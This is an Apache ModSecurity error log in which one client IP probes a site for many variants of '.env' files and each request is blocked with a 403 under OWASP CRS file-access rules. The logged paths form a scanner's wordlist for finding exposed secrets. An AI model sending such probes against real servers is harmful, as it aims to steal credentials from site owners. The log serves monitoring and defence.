[Mon Oct 26 14:54:32.873057 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQgAAAA8"]
[Mon Oct 26 14:54:32.874214 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at-h6CVsqF6Prn45f_BAnAAAABM"]
[Mon Oct 26 14:54:32.874485 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at-h6CVsqF6Prn45f_BAnAAAABM"]
[Mon Oct 26 14:54:32.874829 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at-h6CVsqF6Prn45f_BAnAAAABM"]
[Mon Oct 26 14:54:32.876006 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at-h6M1s7k65ejr69eONrwAAABc"]
[Mon Oct 26 14:54:32.876210 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at-h6M1s7k65ejr69eONrwAAABc"]
[Mon Oct 26 14:54:32.876527 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at-h6M1s7k65ejr69eONrwAAABc"]
[Mon Oct 26 14:54:33.376064 2026] [ssl:error] [pid 3084026:tid 3084026] (70014)End of file found: [client 100.28.44.58:24637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:34.002497 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-h6uwhFnyxLKqf5CkqgAAAAB0"]
[Mon Oct 26 14:54:34.291730 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-h6uwhFnyxLKqf5CkqgAAAAB0"]
[Mon Oct 26 14:54:34.308530 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-h6uwhFnyxLKqf5CkqgAAAAB0"]
[Mon Oct 26 14:54:34.061467 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at-h6rJoBe2aZMAtY1nEQwAAAA8"]
[Mon Oct 26 14:54:34.338071 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at-h6rJoBe2aZMAtY1nEQwAAAA8"]
[Mon Oct 26 14:54:34.338472 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at-h6rJoBe2aZMAtY1nEQwAAAA8"]
[Mon Oct 26 14:54:34.062298 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at-h6iVsqF6Prn45f_BAnQAAABM"]
[Mon Oct 26 14:54:34.419525 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at-h6iVsqF6Prn45f_BAnQAAABM"]
[Mon Oct 26 14:54:34.419901 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at-h6iVsqF6Prn45f_BAnQAAABM"]
[Mon Oct 26 14:54:34.094331 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at-h6rHcPQ_Go3aEyc2HXwAAACI"]
[Mon Oct 26 14:54:34.490789 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at-h6rHcPQ_Go3aEyc2HXwAAACI"]
[Mon Oct 26 14:54:34.491493 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at-h6rHcPQ_Go3aEyc2HXwAAACI"]
[Mon Oct 26 14:54:34.110880 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at-h6g7tQS1M73WECjKQqgAAAAY"]
[Mon Oct 26 14:54:34.492692 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at-h6g7tQS1M73WECjKQqgAAAAY"]
[Mon Oct 26 14:54:34.493085 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at-h6g7tQS1M73WECjKQqgAAAAY"]
[Mon Oct 26 14:54:34.111623 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at-h6mzmSpSsBytZ44hiEAAAAAg"]
[Mon Oct 26 14:54:34.493923 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at-h6mzmSpSsBytZ44hiEAAAAAg"]
[Mon Oct 26 14:54:34.494264 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at-h6mzmSpSsBytZ44hiEAAAAAg"]
[Mon Oct 26 14:54:34.112372 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at-h6ntG0gh1_iD5Sux2IAAAAAw"]
[Mon Oct 26 14:54:34.494795 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at-h6ntG0gh1_iD5Sux2IAAAAAw"]
[Mon Oct 26 14:54:34.495127 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at-h6ntG0gh1_iD5Sux2IAAAAAw"]
[Mon Oct 26 14:54:34.113201 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at-h6qFL9aMETz-8AU8c_wAAAAQ"]
[Mon Oct 26 14:54:34.495711 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at-h6qFL9aMETz-8AU8c_wAAAAQ"]
[Mon Oct 26 14:54:34.496080 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at-h6qFL9aMETz-8AU8c_wAAAAQ"]
[Mon Oct 26 14:54:34.114077 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at-h6vo8w19imigfk0t9rwAAABg"]
[Mon Oct 26 14:54:34.496657 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at-h6vo8w19imigfk0t9rwAAABg"]
[Mon Oct 26 14:54:34.496974 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at-h6vo8w19imigfk0t9rwAAABg"]
[Mon Oct 26 14:54:34.122273 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at-h6s1s7k65ejr69eONsAAAABc"]
[Mon Oct 26 14:54:34.501320 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at-h6s1s7k65ejr69eONsAAAABc"]
[Mon Oct 26 14:54:34.501658 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at-h6s1s7k65ejr69eONsAAAABc"]
[Mon Oct 26 14:54:34.150811 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at-h6vEWMevIOUAFFIb9nwAAAB4"]
[Mon Oct 26 14:54:34.580060 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at-h6vEWMevIOUAFFIb9nwAAAB4"]
